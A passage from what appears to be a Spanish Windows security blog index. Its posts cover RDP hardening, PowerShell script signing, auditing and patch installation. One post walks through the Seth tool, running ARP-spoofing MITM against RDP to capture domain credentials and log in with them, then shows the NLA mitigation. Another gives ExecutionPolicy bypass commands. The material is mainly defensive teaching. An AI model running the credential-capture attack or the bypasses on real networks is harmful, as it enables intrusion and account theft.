nueva regla de bloqueo de conexión. Para este caso no se han cambiado los puertos por defecto por lo que el protocolo y puerto será el mismo que la regla por defecto 3389/tcp. Figura 12: Regla de bloqueo de conexión protocolo TCP y puerto local 3389. Una vez conocemos la dirección IP remota (pública en este caso) vamos agregando estas direcciones IP en el ámbito específico de \u0026ldquo;Dirección IP remota\u0026rdquo; estas se refieren a direcciones IP remotas dentro de la misma red o direcciones IP públicas-externas. Las direcciones IP locales se refieren a las propias de la máquina en caso de tener múltiples interfaces de red. Al estar esta regla en un modo de acción de bloqueo de conexión denegará para esa IP origen el intento de conexión TCP hacia el servicio RDP no permitiendo la conexión inicial desde el primer intento. Figura 13: Ámbito de regla - incluir IPs remotas de intento de conexión a bloquear. Publicar escritorio remoto RDP de una forma más segura Link to heading Por lo general los servicios RDP suelen estar publicados en equipos servidores o máquinas que ofrecen uno o varios servicios y que remotamente necesitan gestionarse, por definición un servidor no debería de disponer de acceso a internet. Si no se dispone de tecnologías de control de seguridad SIEM o HIPS que puedan alertarnos de estos accesos, ni de arquitecturas más avanzadas y seguras para conectarse a una infraestructura interna como puedan ser servicios del tipo RD-Gateway, VDI o una VPN bien configurada con protocolos seguros, perfiles definidos y segmentación entre redes internas. Pero es necesario publicar el servicio RDP de una máquina interna de forma temporal, podemos hacerlo de una forma mucho más económica, sencilla de implementar y un poco más segura que tenerlo expuesto a través de un port forwarding local de puertos entre el router o firewall frontera hacia la IP del servidor interno. Crear una máquina puente o bastión. Adquirir un servicio en cloud (AWS, Azure, GCP) y creamos una nueva máquina limpia con una dirección IP pública fija (esto es importante) y únicamente con el servicio de SSH disponible de forma pública. Por defecto la forma de conexión SSH a este tipo de máquinas cloud se realiza mediante clave pública-privada. En la configuración avanzada del firewall de Windows editamos la regla RDP del propio servidor. En el ámbito de conexión del rango de IPs internas añadimos el rango de red interno (en el caso de que también queramos permitir conexiones de los equipos internos de la red). Agregamos también la dirección IP pública asignada a la máquina bastión creada en el primer punto. Para conectarnos si usamos una máquina Windows como cliente: Agregar la clave privada de la conexión SSH de la máquina bastión. Desde un cliente SSH como PuTTY establecemos una nueva conexión SSH port forwarding local. Para conectarnos si usamos una máquina Linux como cliente: Agregar la clave privada de la conexión SSH de la máquina bastión. ssh -L LOCAL_IP:LOCAL_PORT:DESTINATION:DESTINATION_PORT USER@SSH_SERVER Ejemplo: ssh -L 127.0.0.1:9999:192.168.1.10:3389 user@90.80.60.34 Estos recursos son económicos pero tampoco es una solución a largo plazo, lo ideal sería no exponer ningún servicio RDP ni SSH aunque se autentique con una PKI. Pero si por el momento no se dispone de otras implementaciones alternativas, hacerlo de este modo será más seguro que tenerlo expuesto directamente. Saludos! "},{"title":"Seth: Ataques MITM a conexiones RDP y mitigación","url":"/posts/seth-ataques-mitm-a-conexiones-rdp-y-mitigacion/","summary":"Seth es una herramienta desarrollada en python y bash que nos permite realizar un ataque MITM man in the middle en conexiones RDP aprovechándose una configuración insegura como es el NO habilitar la …","tags":["Red Team","Hardening","MITM","RDP","ARP Spoofing","Seth","GPO","MITRE ATT\u0026CK"],"date":"2021-05-15","content":"Seth es una herramienta desarrollada en python y bash que nos permite realizar un ataque MITM man in the middle en conexiones RDP aprovechándose una configuración insegura como es el NO habilitar la autenticación a nivel de red NLA para conexiones de escritorio remoto. Como requerimiento previo para usar Seth es necesario tener instalado arpspoof por lo que será necesario instalar el paquete dsniff. apt install dsniff -y Clonar el repositorio de Seth. git clone https://github.com/SySS-Research/Seth.git Escenario en un entorno de dominio Active Directory Link to heading Atacante: 10.0.0.38 (Kali) Víctima: 10.0.0.50 (Win10) Host remoto: 10.0.0.76 (WServer 2019) Seth se ejecutará en la máquina atacante 10.0.0.38 y se mantendrá a la escucha esperando que se establezca una conexión, la máquina víctima 10.0.0.50 (el usuario que se conectará a la máquina remota 10.0.0.76) le aparecerá el prompt de autenticación de credenciales, el certificado autofirmado no confiable del equipo remoto (que acabará aceptando) y finalmente se establecerá la conexión RDP. Seth interceptará el certificado y se pondrá en medio de la comunicación insegura y sin cifrar capturando los eventos de teclado y en consecuencia las credenciales de acceso a la máquina remota. Desde la máquina Kali 10.0.0.38 descargamos y previamente ejecutamos el script de seth.sh. ./seth.sh \u0026lt;INTERFACE\u0026gt; \u0026lt;ATTACKER IP\u0026gt; \u0026lt;VICTIM IP\u0026gt; \u0026lt;GATEWAY IP|HOST IP\u0026gt; [\u0026lt;COMMAND\u0026gt;] Veremos que captura las pulsaciones de teclado DOMINIO\\USUARIO:PASSWORD incluso después de que se establezca la conexión RDP. Figura 1: Seth - MitM en conexiones RDP. Haciendo uso del cliente rdesktop nos autenticamos con las credenciales capturadas y vemos como se establece una conexión RDP hacia la máquina remota. rdesktop -g1024x768 \u0026lt;REMOTE IP\u0026gt; -u \u0026lt;USER\u0026gt; -p \u0026lt;PASSWORD\u0026gt; -d \u0026lt;DOMAIN\u0026gt; Figura 2: rdesktop - Conexión RDP a la máquina remota víctima. Mitigar ataques MITM en conexiones RDP Link to heading NLA (Network Level Authentication) requiere que el usuario que se conecta desde un cliente RDP se autentique antes de que se establezca una sesión con el servidor RDP. Utiliza el proveedor de soporte de seguridad, CredSSP, que está disponible a través de SSPI (Security Support Provider Interface). En sistemas Windows esta opción está habilitada por defecto para mantener una comunicación segura y evitar este tipo de ataques. Figura 3: Habilitar NLA (Autenticación a nivel de red) en conexiones remotas RDP. Para habilitar y aplicar este cambio en un entorno de dominio a través de políticas de grupo GPO. Configuración del equipo \u0026gt; Plantillas administrativas \u0026gt; Componentes de Windows \u0026gt; Servicios de Escritorio remoto \u0026gt; Host de sesión de Escritorio Remoto \u0026gt; Seguridad \u0026gt; Requerir la autenticación del usuario para las conexiones remotas mediante Autenticación a nivel de red Figura 4: Habilitar NLA a través de política de grupo GPO. Conclusiones Link to heading Debido al constante y acelerado cambio tecnológico es una gestión complicada la migración de servicios y sistemas en las empresas. Sería más que necesario implementar medidas de control en el bastionado y configuraciones seguras para cualquier máquina que forme parte de una infraestructura corporativa, independientemente del entorno en el que se esté ejecutando (DES, PRE o PRO). A día de hoy es muy común encontrarse con este tipo de configuraciones o bien por desconocimiento o bien por mantener una retrocompatibilidad en sistemas legacy ya existentes (anteriores a Windows XP SP3 y Windows Server 2008) que se resisten a ser actualizados por las compañías debido a las complejidades de migración que supone para los servicios que están ejecutando. Por lo que este tipo de técnicas siguen siendo efectivas y deben considerarse como un riesgo alto de seguridad. Publicación relacionada de interés. Hardening en servicios de Escritorio remoto RDP Saludos! "},{"title":"Firmar scripts PowerShell [Parte 2 de 2]: hardening con CA ADCS y despliegue por GPO","url":"/posts/firmar-scripts-powershell-parte-2-hardening-ca-adcs-gpo/","summary":" Firmar scripts PowerShell Link to heading [Parte 1 de 2]: Hardening en la política de ejecución [Parte 2 de 2]: Entidad de certificación CA (ADCS), despliegue de certificado vía GPO e integridad de …","tags":["Hardening","Blue Team","Active Directory","PowerShell","GPO","Certificados digitales","ADCS","PKI","CA"],"date":"2021-03-25","content":" Firmar scripts PowerShell Link to heading [Parte 1 de 2]: Hardening en la política de ejecución [Parte 2 de 2]: Entidad de certificación CA (ADCS), despliegue de certificado vía GPO e integridad de firma Continuando con el artículo sobre cómo firmar scripts PowerShell estableciendo una política de ejecución AllSigned. En este post comentaré cómo hacer uso de las plantillas de certificados para el propósito de \u0026ldquo;Firma de código\u0026rdquo; emitidas por una Entidad de certificación CA implementada en un entorno de dominio haciendo uso del servicio ADCS (Active Directory Certificate Services), desplegando el certificado vía GPO y finalmente realizar una comprobación de integridad del script PowerShell firmado. CA raíz y CA subordinadas Link to heading La CA raíz contiene la clave privada de toda la jerarquía de certificados, si un atacante obtuviera este certificado o emite un certificado para una entidad no autorizada, se compromete la seguridad basada en el certificado de la organización de todos los certificados que se han emitido en esa jerarquía. Lo ideal y por seguridad sería disponer de una CA raíz que emita certificados para una CA subordinada, de modo que no se exponga directamente el primer nivel de certificado de la CA raíz, las CA subordinadas requieren una jerarquía de PKI establecida. Entidades de certificación: empresarial e independientes Link to heading Entidad de certificación empresarial: Deben pertenecer al dominio, se suele utilizar cuando es necesario emitir muchos certificados y aprobarlos rápidamente para un entorno de dominio Active Directory. Entidad de certificación independiente: Pueden pertenecer a un grupo de trabajo o a un dominio. No requieren de ADDS, se suele utilizar para emitir certificados directamente a los clientes. Dado que no tiene el certificado raíz, ofrece una mayor seguridad. La desventaja es que todos los certificados que se emiten deben ser aprobados. Descripción del escenario para este lab Link to heading Por motivo de falta de recursos y no desplegar una CA subordinada, para estos ejemplos se hará uso únicamente de una CA raíz tipo empresarial ya implementada con el nivel de confianza máximo en la jerarquía de PKI de la organización y un equipo Windows 10 unido al dominio en el que se probará la ejecución de scripts PowerShell firmados donde se le aplicará una GPO con el certificado necesario. Entidad de certificación CA (ADCS) y plantilla de Firma de código Link to heading Esto sería opcional pero para tener un control de permisos podemos crear un nuevo grupo en AD para este fin y asignarlo desde la consola de \u0026ldquo;Plantillas de certificado\u0026rdquo; (certtmpl.msc) a la plantilla que tiene como propósito la \u0026ldquo;Firma de código\u0026rdquo;. De modo que todos los usuarios/grupos que formen parte del grupo añadido tengan permisos para poder solicitar esta plantilla a la entidad de certificación desde la propia consola local de administración de certificados de usuario (certmgr.msc). Figura 1: Asignación de permisos a la plantilla de certificado \u0026ldquo;Firma de código\u0026rdquo;. Desde la consola de \u0026ldquo;Entidad de certificación\u0026rdquo; (certsrv.msc). Emitimos la publicación de una nueva plantilla de certificado \u0026ldquo;Firma de código\u0026rdquo;. Figura 2: Emitir plantilla de certificado \u0026ldquo;Firma de código\u0026rdquo; desde una Entidad de certificación CA. Es el momento de solicitar un certificado para \u0026ldquo;Firma de código\u0026rdquo;. Esto lo haremos desde el propio almacén de certificados de Windows (certmgr.msc) y con un usuario que tenga permisos para poder solicitar el certificado de Firma de código a la Entidad de certificación. Figura 3: Solicitar a la CA un certificado de Firma de código. Una vez solicitado, exportamos el certificado en formato .cer. Figura 4: Exportar el certificado .cer con propósitos de Firma de código. Despliegue de certificado vía GPO Link to heading Para que el resto de equipos del dominio dispongan del certificado .cer en su almacén de certificados, se crea una nueva GPO desde la consola de Administración de directivas de grupo (gpmc.msc). A nivel de directiva de equipo, importamos el certificado .cer en el almacén de \u0026ldquo;Editores de confianza\u0026rdquo; (Trusted Publishers). Es importante que esté importado en este almacén, de lo contrario la ejecución de scripts PowerShell firmados en cualquier máquina unida al dominio y que tenga establecida una política de ejecución de scripts en modo AllSigned nos arrojará un mensaje de advertencia inicial (como se muestra en la Figura 5). Figura 5: Desplegar certificado para firma de código vía GPO. Firmar scripts PowerShell con un certificado tipo \u0026ldquo;Firma de código\u0026rdquo; Link to heading Con el mismo usuario que hemos solicitado el certificado, firmamos un script PowerShell. Si visualizamos el fichero de script vemos que se ha incluido una firma complementaria al final del código. Get-AuthenticodeSignature -FilePath .\\MyScript.ps1 $cert = Get-ChildItem -Path Cert:\\CurrentUser\\My -CodeSigningCert Set-AuthenticodeSignature -FilePath MyScript.ps1 -Certificate $cert Figura 6: Firmar y ejecutar script PowerShell desde el mismo usuario. Ejecución del script firmado en otro equipo y usuario del dominio Link to heading Probamos a ejecutar el script firmado desde otro usuario y equipo unido al dominio, en este caso un cliente Windows 10 con la política de ejecución de scripts establecida en AllSigned. Como vemos en la siguiente captura, hay posibilidad de ejecutar el script pero nos muestra una advertencia indicando que el certificado no está importado en el almacén de \u0026ldquo;Editores de confianza\u0026rdquo; (Trusted Publishers). Por esta razón lo comentado en el punto anterior de la figura 5. De momento cancelamos la ejecución (ctrl+c). Figura 8: Ejecutar script PowerShell desde otra máquina y usuario del dominio (sin certificado importado). Para importar el certificado en el almacén local de la máquina realizamos un forzado de la actualización de políticas (gpupdate /force). Una vez tenemos el certificado ya importado a través de la aplicación de la GPO creada en la Figura 5, podemos observar que al volver a ejecutar el script firmado ya no se muestra ninguna advertencia. Lógicamente si ejecutamos un script no firmado (MyScript_noSigned.ps1) se nos mostrará el mensaje de error común debido a la restricción aplicada AllSigned en la política de ejecución de scripts. Figura 9: Ejecutar script PowerShell desde otra máquina y usuario del dominio (con certificado importado). Comprobación de la integridad de firma en scripts PowerShell Link to heading ¿Qué pasa si se modifica el código del script firmado? Para realizar la verificación de integridad de la firma del script se modifica el código del script firmado y se vuelve a comprobar el estado del certificado. Si ejecutamos el script después de modificarlo se nos muestra un error indicando que \u0026ldquo;es posible que alguien no autorizado haya modificado el contenido del archivo\u0026rdquo;, comprobamos nuevamente la firma del fichero y veremos un estado HashMismatch indicando claramente que se ha modificado rompiendo su integridad respecto a la firma. Será necesario volver a firmarlo con el mismo certificado, generando así una nueva firma asignada al script. Figura 10: Modificar script PowerShell firmado para comprobar su integridad. Saludos! "},{"title":"Wynis: auditoría de seguridad para Windows y Active Directory","url":"/posts/wynis-auditoria-seguridad-windows-active-directory/","summary":"Wynis es un script de auditoría desarrollado por el usuario Sneakysecdoggo que realiza una evaluación de controles de indicadores del CIS (Center for Internet Security) siguiendo los benchmarks del …","tags":["Hardening","Blue Team","Active Directory","GPO","Wynis","Ingeniería de Detección"],"date":"2021-02-18","content":"Wynis es un script de auditoría desarrollado por el usuario Sneakysecdoggo que realiza una evaluación de controles de indicadores del CIS (Center for Internet Security) siguiendo los benchmarks del CIS Best Practices Windows 10 y Windows Server 2016. Los puntos de referencia del CIS son reconocidos internacionalmente como estándares de seguridad para la defensa de sistemas y datos de IT contra ciberataques. Se trata de una herramienta de script similar a Lynis, usada en sistemas basados en Linux. Después de ejecutarlo creará un directorio con todos los resultados reportados en formato de texto y csv. El checklist reporta: Lista de puertos, servicios Reglas de firewall Software instalado Tareas programadas Software que se ejecuta al inicio Información general del sistema Recursos compartidos, Políticas de seguridad y GPOs Actualizaciones instaladas Características opcionales instaladas Lista de usuarios locales, Entre otros reportes adicionales... No solo para sistemas Windows 10, sino que también dispone de una versión para realizar este tipo de auditoría en Server 2016 que sean controladores de dominio Active Directory. Repositorio Github: https://github.com/Sneakysecdoggo/Wynis Figura 1: Ejecución de Wynis en un sistema Windows. Saludos! "},{"title":"Firmar scripts PowerShell [Parte 1 de 2]: hardening de ExecutionPolicy","url":"/posts/firmar-scripts-powershell-1-hardening-executionpolicy/","summary":" Firmar scripts PowerShell Link to heading [Parte 1 de 2]: Hardening en la política de ejecución [Parte 2 de 2]: Entidad de certificación CA (ADCS), despliegue de certificado vía GPO e integridad de …","tags":["Hardening","Blue Team","PowerShell","GPO","Certificados digitales","PKI","ADCS"],"date":"2021-02-09","content":" Firmar scripts PowerShell Link to heading [Parte 1 de 2]: Hardening en la política de ejecución [Parte 2 de 2]: Entidad de certificación CA (ADCS), despliegue de certificado vía GPO e integridad de firma Por motivos de seguridad Windows PowerShell establece unas políticas de ejecución de scripts. Con el fin de evitar posibles ejecuciones de scripts no deseadas. Para poder ejecutar scripts en PowerShell sin problemas, se tendrá que cambiar la política de ejecución (ExecutionPolicy). Por defecto no están definidas y vienen deshabilitadas (Restricted) para todos los scopes. En un escenario en el que formemos parte de un dominio y deseemos ejecutar scripts PowerShell para la realización de tareas en los endpoints o servidores del parque de equipos de la organización. En la mayoría de los casos me encuentro con la \u0026ldquo;solución\u0026rdquo; sencilla y poco idónea. Se trata de aplicar un GPO estableciendo la política de ejecución en modo Unrestricted en las máquinas afectadas. Esto deja vía libre a cualquier usuario para que pueda comprometer la máquina sin ningún tipo de restricción. Aplicar un hardening en la política de ejecución de scripts PowerShell Link to heading Lo más correcto en estos casos sería aplicar esta GPO en un modo AllSigned y firmar con un certificado de confianza todos los scripts que vayan a ser ejecutados aplicando así un hardening en la política de ejecución de scripts de forma que sean seguros y confiables en entornos corporativos. Si disponemos de una PKI de una entidad de certificación ADCS (Active Directory Certificate Services) podremos generar un certificado específico para este fin y propagar este certificado a través de GPO. Para los siguientes ejemplos usaré un certificado autofirmado. Modos de la política de ejecución (ExecutionPolicy): Modo Comportamiento Restricted Bloquea todos los scripts en PowerShell; las tareas deben ejecutarse de forma interactiva. Política por defecto en clientes Windows Unrestricted Ejecuta cualquier script sin restricciones. Muestra advertencia al ejecutar uno sin firmar RemoteSigned Permite ejecutar scripts locales sin firmar, pero los paquetes descargados deben estar firmados. Para ejecutar scripts descargados sin firmar es necesario Unblock-File. Política por defecto en Windows Server AllSigned Solo permite ejecutar paquetes y scripts firmados digitalmente por un publicador de confianza, incluidos los scripts locales Bypass Similar a Unrestricted pero sin alertas. Usado en integraciones de PowerShell con otras aplicaciones que tienen su propio modelo de seguridad Undefined No se establece explícitamente ninguna directiva. Por defecto se aplica Restricted Default Establece la política predeterminada: Restricted en clientes Windows, RemoteSigned en Windows Server Tipos de ámbitos de la política de ejecución (Scopes): Scope Alcance MachinePolicy Establecido por GPO para todos los usuarios de la máquina UserPolicy Establecido por GPO para el usuario actual de la máquina Process Afecta solo a la sesión actual de PowerShell CurrentUser Afecta solo al usuario actual LocalMachine Alcance predeterminado: afecta a todos los usuarios de la máquina El bypass anula este hardening Set-ExecutionPolicy Bypass -Scope Process, powershell -ExecutionPolicy Bypass o usar cmd /c powershell ... permiten saltarse cualquier policy configurada aquí. ExecutionPolicy es un freno para usuarios honestos, no un mecanismo de seguridad real. Para hardening efectivo, combínalo con AppLocker, WDAC o Constrained Language Mode. Referencia: Get-ExecutionPolicy y Set-ExecutionPolicy Get-ExecutionPolicy -List Set-ExecutionPolicy AllSigned -scope LocalMachine -Force Figura 1: Políticas de ejecución de scripts PowerShell. Bypass de la política de ejecución de un solo script Link to heading En el caso de que las políticas de ejecución estén en un modo Undefined y por lo tanto es como si estuvieran en Restricted. Si queremos ejecutar un script en esa misma sesión o contexto de ejecución podemos usar el modo Bypass. PowerShell.exe -ExecutionPolicy Bypass -File \\.MyScript.ps1 También sería lo mismo. powershell -ep Bypass .\\MyScript.ps1 Figura 2: Bypass para la ejecución de un solo script. Firmar un script PowerShell Link to heading Referencia: Set-AuthenticodeSignature Firmar con un certificado del almacén de certificados local Link to heading $cert = Get-ChildItem -Path Cert:\\CurrentUser\\My -CodeSigningCert Set-AuthenticodeSignature -FilePath MyScript.ps1 -Certificate $cert Figura 3: Firmar con un certificado del almacén local. Firmar un script usando un certificado de un archivo PFX Link to heading $cert = Get-PfxCertificate -FilePath C:\\Certs\\MySign.pfx Set-AuthenticodeSignature -FilePath MyScript.ps1 -Certificate $cert Figura 4: Firmar usando un certificado .pfx. Agregar una firma que incluya la autoridad de certificación raíz (CA) Link to heading $cert = Get-PfxCertificate -FilePath C:\\Certs\\MySign.pfx Set-AuthenticodeSignature -FilePath MyScript.ps1 -Certificate $cert -IncludeChain All -TimestampServer \u0026#34;http://timestamp.globalsign.com/scripts/timstamp.dll\u0026#34; IncludeChain: Incluye todas las cadenas de confianza de la autoridad raíz. TimeStampServer: Agrega una marca de tiempo a la firma. Esto evita que el script falle cuando caduque el certificado. Figura 5: Agregar una firma que incluya la autoridad raíz. Obtener información de la firma de un script firmado Link to heading Referencia: Get-AuthenticodeSignature Get-AuthenticodeSignature .\\MyScript.ps1 | Format-List * Figura 6: Obtener información de la firma de un script firmado. Crear un certificado autofirmado para realizar pruebas Link to heading Referencia: New-SelfSignedCertificate New-SelfSignedCertificate -FriendlyName \u0026#34;Zona System ejemplo firma de código\u0026#34; -CertStoreLocation Cert:\\CurrentUser\\My -Subject \u0026#34;Zona System\u0026#34; -Type CodeSigningCert Figura 7: Crear certificado autofirmado para pruebas. Ejemplo de ejecución de script firmado Link to heading Estableciendo la política de ejecución de scripts de PowerShell en AllSigned. Figura 8: Ejemplo de ejecución de script firmado. Saludos! "},{"title":"Instalar RSAT en Windows 10 cuando WSUS bloquea la descarga","url":"/posts/instalar-rsat-windows-10-wsus-bloqueo/","summary":"A partir de las últimas versiones de Windows 10 las RSAT (Remote Server Administration Tools) ya no se descargan e instalan como un paquete de actualizaciones de Microsoft. Sino que se incorporan como …","tags":["Hardening","Blue Team","Active Directory","GPO"],"date":"2020-11-07","content":"A partir de las últimas versiones de Windows 10 las RSAT (Remote Server Administration Tools) ya no se descargan e instalan como un paquete de actualizaciones de Microsoft. Sino que se incorporan como características avanzadas independientes que podemos descargar/instalar directamente desde el nuevo panel de configuración del sistema. En el caso de que estemos trabajando en una máquina Windows 10 bajo un entorno de actualizaciones controladas por WSUS (Windows Server Update Services) es muy probable que el propio servidor WSUS esté bloqueando la descarga de las características RSAT. Comprobar si las actualizaciones están controladas por WSUS Link to heading Para comprobar que el equipo está controlado por un servidor WSUS podemos comprobar la siguiente rama del registro. HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate Si vemos que los valores WUServer y WUStatusServer existen y apuntan a una dirección, normalmente HTTP puerto 8530 o HTTPS puerto 8531 con un nombre DNS interno significará que nuestro equipo recibe actualizaciones controladas directamente de un servidor WSUS. ¿Cómo instalar RSAT bajo un entorno controlado por WSUS? Link to heading Para poder instalar RSAT desde las características avanzadas del nuevo panel de control, abrimos un regedit en un contexto privilegiado como administradores, siguiendo la rama anterior, localizamos la siguiente rama. HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU La clave \u0026ldquo;AU\u0026rdquo; nos indica la sección de \u0026ldquo;Actualizaciones automáticas de Windows Update\u0026rdquo;. Aquí vemos el siguiente valor UseWUServer y lo establecemos a un valor 0. 1 = Obtiene actualizaciones de un servidor WSUS. 0 = Obtiene actualizaciones de Microsoft Update. Abrimos una consola PowerShell como administrador y reiniciamos el servicio wuauserv \u0026ldquo;Windows Update Agent Service\u0026rdquo;. Restart-Service wuauserv Ahora ya podemos añadir las características RSAT que queremos, una vez instaladas ya podemos habilitar de nuevo a través del registro la obtención de actualizaciones a través de WSUS. Restaura UseWUServer al terminar Tras instalar RSAT, restaura UseWUServer=1 para que la máquina vuelva a apuntar a WSUS. Olvidar este paso deja al equipo pidiendo updates directamente a Microsoft Update, saltándose la gobernanza de parches corporativa. Figura 1: Instalar características RSAT deshabilitando WSUS. Saludos! "},{"title":"Instalar actualizaciones .msu en Windows con expand y DISM","url":"/posts/instalar-actualizaciones-msu-windows-expand-dism/","summary":"Cuando nos descargamos parches directamente de Microsoft Update Catalog normalmente el formato estándar suele ser una extensión .msu (Microsoft Update Standalone Installer) del paquete de …","tags":["Hardening","Blue Team"],"date":"2020-09-23","content":"Cuando nos descargamos parches directamente de Microsoft Update Catalog normalmente el formato estándar suele ser una extensión .msu (Microsoft Update Standalone Installer) del paquete de actualización con su KB identificativo. Para instalar un paquete de actualización de forma independiente sin hacerlo a través de las Windows Update de Microsoft Windows, es tan sencillo como ejecutar con doble clic el fichero msu de instalación y esperar a que finalice el proceso. Aunque no siempre ocurre así y resulta costoso realizar la instalación. Recientemente instalado el paquete de actualización que corrige la vulnerabilidad crítica CVE-2020-1472 conocida como \u0026ldquo;Zerologon\u0026rdquo; de la cual hablé en Linkedin. Quería aplicar este parche en un Windows Server 2019 el parche correspondiente al KB4565349 encontrándome un error de incompatibilidad con el computador en el momento de aplicar el parche. Figura 1: Error de instalación Windows Update Standalone \u0026ldquo;actualización no es aplicable\u0026rdquo;. Una forma para resolver este tipo de problema de incompatibilidad en la aplicación de Updates. Es realizarlo de forma manual haciendo uso de las herramientas en línea de comandos expand y dism (Deployment Image Servicing and Management). Con expand podemos descomprimir el paquete .msu obteniendo así los ficheros .cab y con dism añadimos el paquete de actualización correspondiente al fichero principal .cab a la imagen de Windows actual indicando el parámetro /Online. Aplicar paquetes de actualización .msu con expand y dism Link to heading Una vez descargado el fichero .msu lo movemos en un directorio raíz. Por ejemplo C:\\Updates\\paquete.msu (previamente creamos esta nueva carpeta). Con expand descomprimimos el paquete .msu, veremos varios ficheros y algunos .cab. expand -f:* C:\\Updates\\paquete.msu C:\\Updates\\ El parámetro -f especifica los archivos de un archivo contenedor (.cab) que se desea expandir. Pueden usarse caracteres comodín (* o ?). Con dism añadimos el fichero .cab de mayor tamaño a la imagen de Windows actual y esperamos a que termine el proceso. # CMD dism.exe /Online /Add-package /Packagepath:\u0026#34;C:\\Updates\\paquete.cab\u0026#34; # PowerShell Add-WindowsPackage -Online -PackagePath \u0026#34;C:\\Updates\\paquete.cab\u0026#34; Una vez hecho esto reiniciamos la máquina. Para comprobar que la actualización se ha instalado correctamente podemos listar las updates instaladas en el sistema. # CMD systeminfo # PowerShell Get-HotFix Restaurar configuración Windows Updates Link to heading Esto se escapa del caso particular anterior pero lo comento como información adicional. En el caso de que no sea posible aplicar actualizaciones de Windows de la forma tradicional y automática a través de las Windows Updates, una solución que suele funcionar en la mayoría de casos es renombrar o eliminar, dependiendo el caso y el espacio en disco del que se disponga, la carpeta donde se descargan por defecto los paquetes de actualizaciones SoftwareDistribution. Cuando buscamos nuevas actualizaciones en Windows estas se descargan por defecto en la carpeta C:\\Windows\\SoftwareDistribution una vez descargadas, Windows aplica/instala estas actualizaciones en el sistema y después de un reinicio las sigue manteniendo en esta ubicación. Una forma de liberar espacio en disco y también restaurar su configuración en caso de errores en el momento de descarga o aplicación de las updates de Windows es: Renombrar la carpeta SoftwareDistribution Intentar descargar y aplicar las nuevas actualizaciones. Eliminar la carpeta vieja renombrada. Al renombrar esta carpeta Windows no puede encontrar el directorio por lo que la creará de nuevo y cargará la configuración inicial por defecto en lo relacionado a Windows Update. Detén los servicios antes del rename Antes de renombrar SoftwareDistribution hay que parar los servicios wuauserv, cryptSvc, bits y msiserver. Con ellos en marcha, los ficheros internos están bloqueados y el rename fallará con Access is denied. Para poder renombrar esta carpeta, previamente es necesario detener los procesos que funcionan como servicios de Windows que hacen uso de ella. Ejecutamos una consola cmd con privilegios administrativos. net stop wuauserv net stop cryptSvc net stop bits net stop msiserver Ya en consola podemos renombrarla directamente. ren C:\\Windows\\SoftwareDistribution SoftwareDistribution_old Volvemos a arrancar nuevamente los servicios. net start wuauserv net start cryptSvc net start bits net start msiserver Comprobamos nuevamente si existen nuevas actualizaciones, esperamos a que se descarguen e instalen, reiniciamos el sistema y eliminamos la carpeta renombrada \u0026ldquo;SoftwareDistribution_old\u0026rdquo;. Espero que estas dos posibles soluciones puedan resultar de ayuda. Saludos! "},{"title":"Restringir el inicio de sesión RDP a Administradores y usuarios específicos (hardening)","url":"/posts/restringir-inicio-sesion-rdp-administradores-usuarios-hardening/","summary":"Por defecto para poder usar los Servicios de escritorio remoto RDP Remote Desktop Protocol necesitamos un usuario, ya sea local en la máquina remota o de dominio, que tenga permisos para poder …","tags":["Hardening","Blue Team","RDP","GPO","Active Directory","Movimiento lateral"],"date":"2020-09-03","content":"Por defecto para poder usar los Servicios de escritorio remoto RDP Remote Desktop Protocol necesitamos un usuario, ya sea local en la máquina remota o de dominio, que tenga permisos para poder conectarse. Para ello dicho usuario debe ser miembro del grupo Administradores locales o bien del grupo Usuarios de escritorio remoto. Agregar o quitar usuarios o grupos a través de las Propiedades del sistema (sysdm.cpl) sería lo mismo que hacerlo a través del propio grupo local \u0026ldquo;Usuarios de escritorio remoto\u0026rdquo; que podemos encontrar en la consola lusrmgr.msc. Figura 1: Administradores locales tienen acceso RDP. El problema surge cuando necesitamos que en una máquina remota puedan acceder únicamente determinados usuarios pero que las cuentas de usuario miembros del grupo Administradores locales no puedan iniciar sesión a través de RDP. Evitar el Principio de localidad (Movimiento lateral) Link to heading En muchas empresas, por razones principalmente administrativas, es habitual encontrarse al usuario Administrador (cuenta integrada) habilitado o simplemente la creación de un nuevo usuario que pertenezca al grupo Administradores locales de la máquina. Suele establecerse la misma contraseña para este usuario en todas las máquinas de la organización lo que se conoce como \u0026ldquo;Principio de localidad\u0026rdquo; permitiendo con esto la posibilidad de movimientos laterales de un equipo a otro en un contexto privilegiado y facilitando la capacidad de acceso a través de los Servicios de escritorio remoto a otras máquinas que tengan configurado el mismo usuario y contraseña. Hardening - Restringir el acceso RDP a los Administradores locales Link to heading Para aplicar un poco de hardening y establecer unas buenas prácticas ante esta situación. Añadimos los usuarios específicos ya sean locales o formen parte de un dominio al grupo de \u0026ldquo;Usuarios de escritorio remoto\u0026rdquo;. Figura 2: Añadir usuarios de forma nominal al grupo local de Usuarios de escritorio remoto. Establecemos y modificamos una GPO ya sea a nivel local o de dominio en la consola editor de directivas gpedit.msc o gpmc.msc. Configuración del equipo \u0026gt; Configuración de Windows \u0026gt; Configuración de seguridad \u0026gt; Asignación de derechos de usuario \u0026gt; \u0026#34;Permitir inicio de sesión a través de Servicios de escritorio remoto\u0026#34; Quitamos o eliminamos el grupo de usuarios \u0026ldquo;Administradores\u0026rdquo;. En el caso de un dominio se podría establecer un grupo integrado tipo \u0026ldquo;Opers. de cuentas\u0026rdquo; o crear uno específico de dominio el cual también pertenezca al grupo Administradores locales de la máquina (esto se podría realizar de forma masiva mediante una GPO a nivel de dominio). También tendremos la posibilidad de elevarnos a un contexto privilegiado haciendo uso del UAC (User Account Control) ejecutando los procesos como Administrador (Ctrl+Shift) u otro usuario que sea miembro del grupo Administradores locales. De ese modo no se degradaría la posibilidad de seguir administrando las máquinas e iniciar sesión a través de los servicios de escritorio remoto únicamente para aquellas cuentas de usuario que lo necesiten por su operativa de mantenimiento. Minimizando así el riesgo del principio de localidad comentado anteriormente. Figura 3: GPO - Limitando el acceso a grupos o usuarios a través de Servicios de escritorio remoto. En la siguiente captura se puede ver cómo se denegó el acceso a través de RDP a un usuario adminadrian que es miembro del grupo de \u0026ldquo;Usuarios\u0026rdquo; y \u0026ldquo;Administradores\u0026rdquo; locales de la máquina que, por defecto tendría acceso al inicio de sesión a través de RDP ya que pertenece al grupo de Administradores locales, independientemente de si pertenece o no al grupo específico \u0026ldquo;Usuarios de escritorio remoto\u0026rdquo;. Figura 4: Inicio de sesión denegado a través de escritorio remoto para un usuario privilegiado. Registro del error en el inicio sesión para el usuario local adminadrian correspondiente al evento con 